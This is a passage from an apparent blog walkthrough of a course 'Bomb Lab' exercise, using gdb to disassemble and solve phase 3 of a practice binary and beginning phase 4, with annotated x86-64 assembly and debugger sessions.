<span class="w">    </span>174c:<span class="w">   </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span><span class="m">94</span><span class="w"> </span><span class="m">02</span><span class="w"> </span><span class="m">00</span><span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x294,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">    </span><span class="m">1753</span>:<span class="w">   </span><span class="m">00</span><span class="w"> </span>
<span class="w">    </span><span class="m">1754</span>:<span class="w">   </span><span class="m">74</span><span class="w"> </span><span class="m">31</span><span class="w">                   </span>je<span class="w">     </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span><span class="m">1756</span>:<span class="w">   </span>e8<span class="w"> </span>ef<span class="w"> </span><span class="m">05</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>call<span class="w">   </span>1d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">    </span>175b:<span class="w">   </span>b8<span class="w"> </span><span class="m">79</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x79,%eax
<span class="w">    </span><span class="m">1760</span>:<span class="w">   </span>eb<span class="w"> </span><span class="m">25</span><span class="w">                   </span>jmp<span class="w">    </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span><span class="m">1762</span>:<span class="w">   </span>b8<span class="w"> </span><span class="m">79</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x79,%eax
<span class="w">    </span><span class="m">1767</span>:<span class="w">   </span><span class="m">81</span><span class="w"> </span>7c<span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">08</span><span class="w"> </span><span class="m">88</span><span class="w"> </span><span class="m">02</span><span class="w"> </span><span class="m">00</span><span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x288,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">    </span>176e:<span class="w">   </span><span class="m">00</span><span class="w"> </span>
<span class="w">    </span>176f:<span class="w">   </span><span class="m">74</span><span class="w"> </span><span class="m">16</span><span class="w">                   </span>je<span class="w">     </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span><span class="m">1771</span>:<span class="w">   </span>e8<span class="w"> </span>d4<span class="w"> </span><span class="m">05</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>call<span class="w">   </span>1d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">    </span><span class="m">1776</span>:<span class="w">   </span>b8<span class="w"> </span><span class="m">79</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x79,%eax
<span class="w">    </span>177b:<span class="w">   </span>eb<span class="w"> </span>0a<span class="w">                   </span>jmp<span class="w">    </span><span class="m">1787</span><span class="w"> </span>&lt;phase_3+0x14f&gt;
<span class="w">    </span>177d:<span class="w">   </span>e8<span class="w"> </span>c8<span class="w"> </span><span class="m">05</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>call<span class="w">   </span>1d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">    </span><span class="m">1782</span>:<span class="w">   </span>b8<span class="w"> </span><span class="m">68</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>mov<span class="w">    </span><span class="nv">$0</span>x68,%eax
<span class="w">    </span><span class="m">1787</span>:<span class="w">   </span><span class="m">38</span><span class="w"> </span><span class="m">44</span><span class="w"> </span><span class="m">24</span><span class="w"> </span><span class="m">07</span><span class="w">             </span>cmp<span class="w">    </span>%al,0x7<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">    </span>178b:<span class="w">   </span><span class="m">75</span><span class="w"> </span><span class="m">05</span><span class="w">                   </span>jne<span class="w">    </span><span class="m">1792</span><span class="w"> </span>&lt;phase_3+0x15a&gt;
<span class="w">    </span>178d:<span class="w">   </span><span class="m">48</span><span class="w"> </span><span class="m">83</span><span class="w"> </span>c4<span class="w"> </span><span class="m">18</span><span class="w">             </span>add<span class="w">    </span><span class="nv">$0</span>x18,%rsp
<span class="w">    </span><span class="m">1791</span>:<span class="w">   </span>c3<span class="w">                      </span>ret<span class="w">    </span>
<span class="w">    </span><span class="m">1792</span>:<span class="w">   </span>e8<span class="w"> </span>b3<span class="w"> </span><span class="m">05</span><span class="w"> </span><span class="m">00</span><span class="w"> </span><span class="m">00</span><span class="w">          </span>call<span class="w">   </span>1d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">    </span><span class="m">1797</span>:<span class="w">   </span>eb<span class="w"> </span>f4<span class="w">                   </span>jmp<span class="w">    </span>178d<span class="w"> </span>&lt;phase_3+0x155&gt;
</code></pre>
</div>

<div class="codehilite">
<pre><span></span><code>...
<span class="w">    </span>165b:<span class="w">   </span>e8<span class="w"> </span><span class="m">80</span><span class="w"> </span><span class="nb">fc</span><span class="w"> </span>ff<span class="w"> </span>ff<span class="w">          </span>call<span class="w">   </span>12e0<span class="w"> </span>&lt;__isoc99_sscanf@plt&gt;
...
</code></pre>
</div>

<p>We can see that <code>scanf</code> is being called which means we need to figure out what datatype(s) the program is expecting.</p>

<p>Because I do not want to enter the solutions to phases 1 and 2 again and again, I am goig to pass a file which has these solutions.</p>

<div class="codehilite">
<pre><span></span><code>joxxxn@jupyter-nxxh6xx8:~/lab2-bomblab-navanchauhan/bombbomb$<span class="w"> </span>gdb<span class="w"> </span>-ex<span class="w"> </span><span class="s1">&#39;break phase_3&#39;</span><span class="w"> </span>-ex<span class="w"> </span><span class="s1">&#39;break explode_bomb&#39;</span><span class="w"> </span>-ex<span class="w"> </span><span class="s1">&#39;run&#39;</span><span class="w"> </span>-args<span class="w"> </span>./bomb<span class="w"> </span>sol.txt<span class="w"> </span>
GNU<span class="w"> </span>gdb<span class="w"> </span><span class="o">(</span>Ubuntu<span class="w"> </span><span class="m">12</span>.1-0ubuntu1~22.04<span class="o">)</span><span class="w"> </span><span class="m">12</span>.1
Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2022</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc.
License<span class="w"> </span>GPLv3+:<span class="w"> </span>GNU<span class="w"> </span>GPL<span class="w"> </span>version<span class="w"> </span><span class="m">3</span><span class="w"> </span>or<span class="w"> </span>later<span class="w"> </span>&lt;http://gnu.org/licenses/gpl.html&gt;
This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it.
There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law.
Type<span class="w"> </span><span class="s2">&quot;show copying&quot;</span><span class="w"> </span>and<span class="w"> </span><span class="s2">&quot;show warranty&quot;</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
This<span class="w"> </span>GDB<span class="w"> </span>was<span class="w"> </span>configured<span class="w"> </span>as<span class="w"> </span><span class="s2">&quot;x86_64-linux-gnu&quot;</span>.
Type<span class="w"> </span><span class="s2">&quot;show configuration&quot;</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>configuration<span class="w"> </span>details.
For<span class="w"> </span>bug<span class="w"> </span>reporting<span class="w"> </span>instructions,<span class="w"> </span>please<span class="w"> </span>see:
&lt;https://www.gnu.org/software/gdb/bugs/&gt;.
Find<span class="w"> </span>the<span class="w"> </span>GDB<span class="w"> </span>manual<span class="w"> </span>and<span class="w"> </span>other<span class="w"> </span>documentation<span class="w"> </span>resources<span class="w"> </span>online<span class="w"> </span>at:
<span class="w">    </span>&lt;http://www.gnu.org/software/gdb/documentation/&gt;.

For<span class="w"> </span>help,<span class="w"> </span><span class="nb">type</span><span class="w"> </span><span class="s2">&quot;help&quot;</span>.
Type<span class="w"> </span><span class="s2">&quot;apropos word&quot;</span><span class="w"> </span>to<span class="w"> </span>search<span class="w"> </span><span class="k">for</span><span class="w"> </span>commands<span class="w"> </span>related<span class="w"> </span>to<span class="w"> </span><span class="s2">&quot;word&quot;</span>...
Reading<span class="w"> </span>symbols<span class="w"> </span>from<span class="w"> </span>./bomb...
Breakpoint<span class="w"> </span><span class="m">1</span><span class="w"> </span>at<span class="w"> </span>0x1638
Breakpoint<span class="w"> </span><span class="m">2</span><span class="w"> </span>at<span class="w"> </span>0x1d4a
Starting<span class="w"> </span>program:<span class="w"> </span>/home/joxxxn/lab2-bomblab-navanchauhan/bombbomb/bomb<span class="w"> </span>sol.txt
<span class="o">[</span>Thread<span class="w"> </span>debugging<span class="w"> </span>using<span class="w"> </span>libthread_db<span class="w"> </span>enabled<span class="o">]</span>
Using<span class="w"> </span>host<span class="w"> </span>libthread_db<span class="w"> </span>library<span class="w"> </span><span class="s2">&quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;</span>.
Welcome<span class="w"> </span>to<span class="w"> </span>my<span class="w"> </span>fiendish<span class="w"> </span>little<span class="w"> </span>bomb.<span class="w"> </span>You<span class="w"> </span>have<span class="w"> </span><span class="m">6</span><span class="w"> </span>phases<span class="w"> </span>with
which<span class="w"> </span>to<span class="w"> </span>blow<span class="w"> </span>yourself<span class="w"> </span>up.<span class="w"> </span>Have<span class="w"> </span>a<span class="w"> </span>nice<span class="w"> </span>day!
Phase<span class="w"> </span><span class="m">1</span><span class="w"> </span>defused.<span class="w"> </span>How<span class="w"> </span>about<span class="w"> </span>the<span class="w"> </span>next<span class="w"> </span>one?
That<span class="err">&#39;</span>s<span class="w"> </span>number<span class="w"> </span><span class="m">2</span>.<span class="w">  </span>Keep<span class="w"> </span>going!
random<span class="w"> </span>string

Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x0000555555555638<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_3<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>phase_3:
<span class="o">=</span>&gt;<span class="w"> </span>0x0000555555555638<span class="w"> </span>&lt;+0&gt;:<span class="w">     </span>endbr64<span class="w"> </span>
<span class="w">   </span>0x000055555555563c<span class="w"> </span>&lt;+4&gt;:<span class="w">     </span>sub<span class="w">    </span><span class="nv">$0</span>x18,%rsp
<span class="w">   </span>0x0000555555555640<span class="w"> </span>&lt;+8&gt;:<span class="w">     </span>lea<span class="w">    </span>0x7<span class="o">(</span>%rsp<span class="o">)</span>,%rcx
<span class="w">   </span>0x0000555555555645<span class="w"> </span>&lt;+13&gt;:<span class="w">    </span>lea<span class="w">    </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%rdx
<span class="w">   </span>0x000055555555564a<span class="w"> </span>&lt;+18&gt;:<span class="w">    </span>lea<span class="w">    </span>0x8<span class="o">(</span>%rsp<span class="o">)</span>,%r8
<span class="w">   </span>0x000055555555564f<span class="w"> </span>&lt;+23&gt;:<span class="w">    </span>lea<span class="w">    </span>0x1b60<span class="o">(</span>%rip<span class="o">)</span>,%rsi<span class="w">        </span><span class="c1"># 0x5555555571b6</span>
<span class="w">   </span>0x0000555555555656<span class="w"> </span>&lt;+30&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x0,%eax
<span class="w">   </span>0x000055555555565b<span class="w"> </span>&lt;+35&gt;:<span class="w">    </span>call<span class="w">   </span>0x5555555552e0<span class="w"> </span>&lt;__isoc99_sscanf@plt&gt;
<span class="w">   </span>0x0000555555555660<span class="w"> </span>&lt;+40&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x2,%eax
<span class="w">   </span>0x0000555555555663<span class="w"> </span>&lt;+43&gt;:<span class="w">    </span>jle<span class="w">    </span>0x555555555685<span class="w"> </span>&lt;phase_3+77&gt;
<span class="w">   </span>0x0000555555555665<span class="w"> </span>&lt;+45&gt;:<span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x7,0xc<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x000055555555566a<span class="w"> </span>&lt;+50&gt;:<span class="w">    </span>ja<span class="w">     </span>0x55555555577d<span class="w"> </span>&lt;phase_3+325&gt;
<span class="w">   </span>0x0000555555555670<span class="w"> </span>&lt;+56&gt;:<span class="w">    </span>mov<span class="w">    </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%eax
<span class="w">   </span>0x0000555555555674<span class="w"> </span>&lt;+60&gt;:<span class="w">    </span>lea<span class="w">    </span>0x1b55<span class="o">(</span>%rip<span class="o">)</span>,%rdx<span class="w">        </span><span class="c1"># 0x5555555571d0</span>
<span class="w">   </span>0x000055555555567b<span class="w"> </span>&lt;+67&gt;:<span class="w">    </span>movslq<span class="w"> </span><span class="o">(</span>%rdx,%rax,4<span class="o">)</span>,%rax
<span class="w">   </span>0x000055555555567f<span class="w"> </span>&lt;+71&gt;:<span class="w">    </span>add<span class="w">    </span>%rdx,%rax
<span class="w">   </span>0x0000555555555682<span class="w"> </span>&lt;+74&gt;:<span class="w">    </span>notrack<span class="w"> </span>jmp<span class="w"> </span>*%rax
<span class="w">   </span>0x0000555555555685<span class="w"> </span>&lt;+77&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x000055555555568a<span class="w"> </span>&lt;+82&gt;:<span class="w">    </span>jmp<span class="w">    </span>0x555555555665<span class="w"> </span>&lt;phase_3+45&gt;
<span class="w">   </span>0x000055555555568c<span class="w"> </span>&lt;+84&gt;:<span class="w">    </span>mov<span class="w">    </span><span class="nv">$0</span>x63,%eax
<span class="w">   </span>0x0000555555555691<span class="w"> </span>&lt;+89&gt;:<span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x23d,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x0000555555555699<span class="w"> </span>&lt;+97&gt;:<span class="w">    </span>je<span class="w">     </span>0x555555555787<span class="w"> </span>&lt;phase_3+335&gt;
<span class="w">   </span>0x000055555555569f<span class="w"> </span>&lt;+103&gt;:<span class="w">   </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
<span class="w">   </span>0x00005555555556a4<span class="w"> </span>&lt;+108&gt;:<span class="w">   </span>mov<span class="w">    </span><span class="nv">$0</span>x63,%eax
<span class="w">   </span>0x00005555555556a9<span class="w"> </span>&lt;+113&gt;:<span class="w">   </span>jmp<span class="w">    </span>0x555555555787<span class="w"> </span>&lt;phase_3+335&gt;
--Type<span class="w"> </span>&lt;RET&gt;<span class="w"> </span><span class="k">for</span><span class="w"> </span>more,<span class="w"> </span>q<span class="w"> </span>to<span class="w"> </span>quit,<span class="w"> </span>c<span class="w"> </span>to<span class="w"> </span><span class="k">continue</span><span class="w"> </span>without<span class="w"> </span>paging--
</code></pre>
</div>

<p><code>gdb</code> has thankfully marked the address which is being passed to <code>scanf</code>. We can access the value:</p>

<div class="codehilite">
<pre><span></span><code><span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/1s<span class="w"> </span>0x5555555571b6
0x5555555571b6:<span class="w"> </span><span class="s2">&quot;%d %c %d&quot;</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>
</code></pre>
</div>

<p>BINGO! The program expects an integer, character, and another integer. Onwards.</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x0000555555555660<span class="w"> </span>&lt;+40&gt;:<span class="w">    </span>cmp<span class="w">    </span><span class="nv">$0</span>x2,%eax
<span class="w">   </span>0x0000555555555663<span class="w"> </span>&lt;+43&gt;:<span class="w">    </span>jle<span class="w">    </span>0x555555555685<span class="w"> </span>&lt;phase_3+77&gt;
...
<span class="w">   </span>0x0000555555555685<span class="w"> </span>&lt;+77&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
</code></pre>
</div>

<p>The program checks whether <code>scanf</code> returns a value &lt;= 2, if it does then it calls the <code>explode_bomb</code> function. </p>

<p><em>Note: <code>scanf</code> returns the number of fields that were successfully converted and assigned</em></p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x0000555555555665<span class="w"> </span>&lt;+45&gt;:<span class="w">    </span>cmpl<span class="w">   </span><span class="nv">$0</span>x7,0xc<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x000055555555566a<span class="w"> </span>&lt;+50&gt;:<span class="w">    </span>ja<span class="w">     </span>0x55555555577d<span class="w"> </span>&lt;phase_3+325&gt;
...
<span class="w">   </span>0x000055555555577d<span class="w"> </span>&lt;+325&gt;:<span class="w">   </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
</code></pre>
</div>

<p>Similarly, the program checks and ensures the returned value is not &gt; 7. </p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x0000555555555670<span class="w"> </span>&lt;+56&gt;:<span class="w">    </span>mov<span class="w">    </span>0xc<span class="o">(</span>%rsp<span class="o">)</span>,%eax
<span class="w">   </span>0x0000555555555674<span class="w"> </span>&lt;+60&gt;:<span class="w">    </span>lea<span class="w">    </span>0x1b55<span class="o">(</span>%rip<span class="o">)</span>,%rdx<span class="w">        </span><span class="c1"># 0x5555555571d0</span>
<span class="w">   </span>0x000055555555567b<span class="w"> </span>&lt;+67&gt;:<span class="w">    </span>movslq<span class="w"> </span><span class="o">(</span>%rdx,%rax,4<span class="o">)</span>,%rax
<span class="w">   </span>0x000055555555567f<span class="w"> </span>&lt;+71&gt;:<span class="w">    </span>add<span class="w">    </span>%rdx,%rax
<span class="w">   </span>0x0000555555555682<span class="w"> </span>&lt;+74&gt;:<span class="w">    </span>notrack<span class="w"> </span>jmp<span class="w"> </span>*%rax
<span class="w">   </span>0x0000555555555685<span class="w"> </span>&lt;+77&gt;:<span class="w">    </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
</code></pre>
</div>

<ul>
<li><code>0x0000555555555670 &lt;+56&gt;:    mov    0xc(%rsp),%eax</code> - Moves value located at <code>0xc</code> (12 in Decimal) bytes above the stack pointer to <code>%eax</code> register. </li>
<li><code>0x0000555555555674 &lt;+60&gt;:    lea    0x1b55(%rip),%rdx        # 0x5555555571d0</code> - This instruction calculates an effective address by adding <code>0x1b55</code> to the current instruction pointer (<code>%rip</code>). The result is stored in the <code>%rdx</code> register. </li>
<li><code>0x000055555555567b &lt;+67&gt;:    movslq (%rdx,%rax,4),%rax</code>
<ul>
<li><code>movslq</code> stands for "move with sign-extension from a 32-bit value to a 64-bit value." (if the 32-bit value is negative, the 64-bit result will have all its upper 32 bits set to 1; otherwise, they'll be set to 0). </li>
<li><code>(%rdx,%rax,4)</code> - First start with the value in the %rdx register, then add to it the value in the %rax register multiplied by 4.</li>
<li><code>%rax</code> - Destination Register</li>
</ul></li>
<li><code>0x000055555555567f &lt;+71&gt;:    add    %rdx,%rax</code> - Adds base address in <code>%rdx</code> to the offset in <code>%rax</code> </li>
<li><code>0x0000555555555682 &lt;+74&gt;:    notrack jmp *%rax</code> - Jumps to the address stored in <code>%rax</code></li>
<li><code>0x0000555555555685 &lt;+77&gt;:    call   0x555555555d4a &lt;explode_bomb&gt;</code> - If we are unable to jump to the specified instruction, call <code>explode_bomb</code></li>
</ul>

<p>Let us try to run the program again with a valid input for the first number and see what the program is computing for the address.</p>

<p>I used the input: <code>3 c 123</code>.</p>

<p>To check what is the computed address, we can switch to the asm layout by running <code>layout asm</code>, and then going through instructions <code>ni</code> or <code>si</code> until we reach the line <code>movslq (%rdx,%rax,4),%rax</code></p>

<p><code>%rax</code> should hold the value 3.</p>

<pre><code>(gdb) print $rax
$1 = 3
</code></pre>

<p><img src="/assets/bomb-lab/phase-3.png" alt="Screenshot of GDB terminal depicting us checking the value of the instruction to be jumped to" /></p>

<p>We can see that this makes us jump to <code>&lt;phase_3+186&gt;</code> (Continue to step through the code by using <code>ni</code>)</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x00005555555556f2<span class="w"> </span>&lt;+186&gt;:<span class="w">   </span>mov<span class="w">    </span><span class="nv">$0</span>x64,%eax
<span class="w">   </span>0x00005555555556f7<span class="w"> </span>&lt;+191&gt;:<span class="w">   </span>cmpl<span class="w">   </span><span class="nv">$0</span>x280,0x8<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x00005555555556ff<span class="w"> </span>&lt;+199&gt;:<span class="w">   </span>je<span class="w">     </span>0x555555555787<span class="w"> </span>&lt;phase_3+335&gt;
<span class="w">   </span>0x0000555555555705<span class="w"> </span>&lt;+205&gt;:<span class="w">   </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
</code></pre>
</div>

<p>We see that <code>0x64</code> (Decimal 100) is being stored in <code>%eax</code>. Then, the program compares <code>0x280</code> (Decimal 640) with memory address <code>0x8</code> bytes above the stack pointer (<code>%rsp</code>). If the values are equal, then it jumps to <code>&lt;phase_3+335&gt;</code>, otherwise <code>explode_bomb</code> is called.</p>

<div class="codehilite">
<pre><span></span><code><span class="w">   </span>0x0000555555555787<span class="w"> </span>&lt;+335&gt;:<span class="w">   </span>cmp<span class="w">    </span>%al,0x7<span class="o">(</span>%rsp<span class="o">)</span>
<span class="w">   </span>0x000055555555578b<span class="w"> </span>&lt;+339&gt;:<span class="w">   </span>jne<span class="w">    </span>0x555555555792<span class="w"> </span>&lt;phase_3+346&gt;
<span class="w">   </span>0x000055555555578d<span class="w"> </span>&lt;+341&gt;:<span class="w">   </span>add<span class="w">    </span><span class="nv">$0</span>x18,%rsp
<span class="w">   </span>0x0000555555555791<span class="w"> </span>&lt;+345&gt;:<span class="w">   </span>ret<span class="w">    </span>
<span class="w">   </span>0x0000555555555792<span class="w"> </span>&lt;+346&gt;:<span class="w">   </span>call<span class="w">   </span>0x555555555d4a<span class="w"> </span>&lt;explode_bomb&gt;
</code></pre>
</div>

<p>Here, the program is comparing the value of our given character to the value stored in <code>%al</code> (lower 8 bits of <code>EAX</code>), and checks if they are not equal.</p>

<p>Knowing that the character is stored at an offset of 7 bytes to <code>%rsp</code>, we can print and check the value by running:</p>

<div class="codehilite">
<pre><span></span><code><span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>x/1cw<span class="w"> </span><span class="nv">$rsp</span>+7
c
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>print<span class="w"> </span><span class="nv">$al</span>
<span class="nv">$1</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m">100</span>
</code></pre>
</div>

<p>We can simply lookup the <a rel="noopener" target="_blank" href="https://www.cs.cmu.edu/~pattis/15-1XX/common/handouts/ascii.html">ASCII table</a>, and see that 100 in decimal stands for the character <code>d</code>. Let us try this answer:</p>

<div class="codehilite">
<pre><span></span><code>...
That<span class="err">&#39;</span>s<span class="w"> </span>number<span class="w"> </span><span class="m">2</span>.<span class="w">  </span>Keep<span class="w"> </span>going!
<span class="m">3</span><span class="w"> </span>d<span class="w"> </span><span class="m">640</span>

Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x0000555555555638<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_3<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span><span class="k">continue</span>
Continuing.
Halfway<span class="w"> </span>there!
</code></pre>
</div>

<h2 id="phase-4">Phase 4</h2>

<div class="codehilite">
<pre><span></span><code>joxxxn@jupyter-nxxh6xx8:~/lab2-bomblab-navanchauhan/bombbomb$<span class="w"> </span>gdb<span class="w"> </span>-ex<span class="w"> </span><span class="s1">&#39;break phase_4&#39;</span><span class="w"> </span>-ex<span class="w"> </span><span class="s1">&#39;break explode_bomb&#39;</span><span class="w"> </span>-ex<span class="w"> </span><span class="s1">&#39;run&#39;</span><span class="w"> </span>-args<span class="w"> </span>./bomb<span class="w"> </span>sol.txt<span class="w"> </span>
GNU<span class="w"> </span>gdb<span class="w"> </span><span class="o">(</span>Ubuntu<span class="w"> </span><span class="m">12</span>.1-0ubuntu1~22.04<span class="o">)</span><span class="w"> </span><span class="m">12</span>.1
Copyright<span class="w"> </span><span class="o">(</span>C<span class="o">)</span><span class="w"> </span><span class="m">2022</span><span class="w"> </span>Free<span class="w"> </span>Software<span class="w"> </span>Foundation,<span class="w"> </span>Inc.
License<span class="w"> </span>GPLv3+:<span class="w"> </span>GNU<span class="w"> </span>GPL<span class="w"> </span>version<span class="w"> </span><span class="m">3</span><span class="w"> </span>or<span class="w"> </span>later<span class="w"> </span>&lt;http://gnu.org/licenses/gpl.html&gt;
This<span class="w"> </span>is<span class="w"> </span>free<span class="w"> </span>software:<span class="w"> </span>you<span class="w"> </span>are<span class="w"> </span>free<span class="w"> </span>to<span class="w"> </span>change<span class="w"> </span>and<span class="w"> </span>redistribute<span class="w"> </span>it.
There<span class="w"> </span>is<span class="w"> </span>NO<span class="w"> </span>WARRANTY,<span class="w"> </span>to<span class="w"> </span>the<span class="w"> </span>extent<span class="w"> </span>permitted<span class="w"> </span>by<span class="w"> </span>law.
Type<span class="w"> </span><span class="s2">&quot;show copying&quot;</span><span class="w"> </span>and<span class="w"> </span><span class="s2">&quot;show warranty&quot;</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>details.
This<span class="w"> </span>GDB<span class="w"> </span>was<span class="w"> </span>configured<span class="w"> </span>as<span class="w"> </span><span class="s2">&quot;x86_64-linux-gnu&quot;</span>.
Type<span class="w"> </span><span class="s2">&quot;show configuration&quot;</span><span class="w"> </span><span class="k">for</span><span class="w"> </span>configuration<span class="w"> </span>details.
For<span class="w"> </span>bug<span class="w"> </span>reporting<span class="w"> </span>instructions,<span class="w"> </span>please<span class="w"> </span>see:
&lt;https://www.gnu.org/software/gdb/bugs/&gt;.
Find<span class="w"> </span>the<span class="w"> </span>GDB<span class="w"> </span>manual<span class="w"> </span>and<span class="w"> </span>other<span class="w"> </span>documentation<span class="w"> </span>resources<span class="w"> </span>online<span class="w"> </span>at:
<span class="w">    </span>&lt;http://www.gnu.org/software/gdb/documentation/&gt;.

For<span class="w"> </span>help,<span class="w"> </span><span class="nb">type</span><span class="w"> </span><span class="s2">&quot;help&quot;</span>.
Type<span class="w"> </span><span class="s2">&quot;apropos word&quot;</span><span class="w"> </span>to<span class="w"> </span>search<span class="w"> </span><span class="k">for</span><span class="w"> </span>commands<span class="w"> </span>related<span class="w"> </span>to<span class="w"> </span><span class="s2">&quot;word&quot;</span>...
Reading<span class="w"> </span>symbols<span class="w"> </span>from<span class="w"> </span>./bomb...
Breakpoint<span class="w"> </span><span class="m">1</span><span class="w"> </span>at<span class="w"> </span>0x17d3
Breakpoint<span class="w"> </span><span class="m">2</span><span class="w"> </span>at<span class="w"> </span>0x1d4a
Starting<span class="w"> </span>program:<span class="w"> </span>/home/joxxxn/lab2-bomblab-navanchauhan/bombbomb/bomb<span class="w"> </span>sol.txt
<span class="o">[</span>Thread<span class="w"> </span>debugging<span class="w"> </span>using<span class="w"> </span>libthread_db<span class="w"> </span>enabled<span class="o">]</span>
Using<span class="w"> </span>host<span class="w"> </span>libthread_db<span class="w"> </span>library<span class="w"> </span><span class="s2">&quot;/lib/x86_64-linux-gnu/libthread_db.so.1&quot;</span>.
Welcome<span class="w"> </span>to<span class="w"> </span>my<span class="w"> </span>fiendish<span class="w"> </span>little<span class="w"> </span>bomb.<span class="w"> </span>You<span class="w"> </span>have<span class="w"> </span><span class="m">6</span><span class="w"> </span>phases<span class="w"> </span>with
which<span class="w"> </span>to<span class="w"> </span>blow<span class="w"> </span>yourself<span class="w"> </span>up.<span class="w"> </span>Have<span class="w"> </span>a<span class="w"> </span>nice<span class="w"> </span>day!
Phase<span class="w"> </span><span class="m">1</span><span class="w"> </span>defused.<span class="w"> </span>How<span class="w"> </span>about<span class="w"> </span>the<span class="w"> </span>next<span class="w"> </span>one?
That<span class="err">&#39;</span>s<span class="w"> </span>number<span class="w"> </span><span class="m">2</span>.<span class="w">  </span>Keep<span class="w"> </span>going!
Halfway<span class="w"> </span>there!
<span class="nb">test</span><span class="w"> </span>string

Breakpoint<span class="w"> </span><span class="m">1</span>,<span class="w"> </span>0x00005555555557d3<span class="w"> </span><span class="k">in</span><span class="w"> </span>phase_4<span class="w"> </span><span class="o">()</span>
<span class="o">(</span>gdb<span class="o">)</span><span class="w"> </span>disas<span class="w"> </span>phase_4
Dump<span class="w"> </span>of<span class="w"> </span>assembler<span class="w"> </span>code<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="k">function</span><span class="w"> </span>phase_4:
<span class="o">=</span>&gt;<span class="w"> </span>0x00005555555557d3<span class="w"> </span>&lt;+0&gt;:<span class="w">     </span>endbr64<span class="w"> </span>
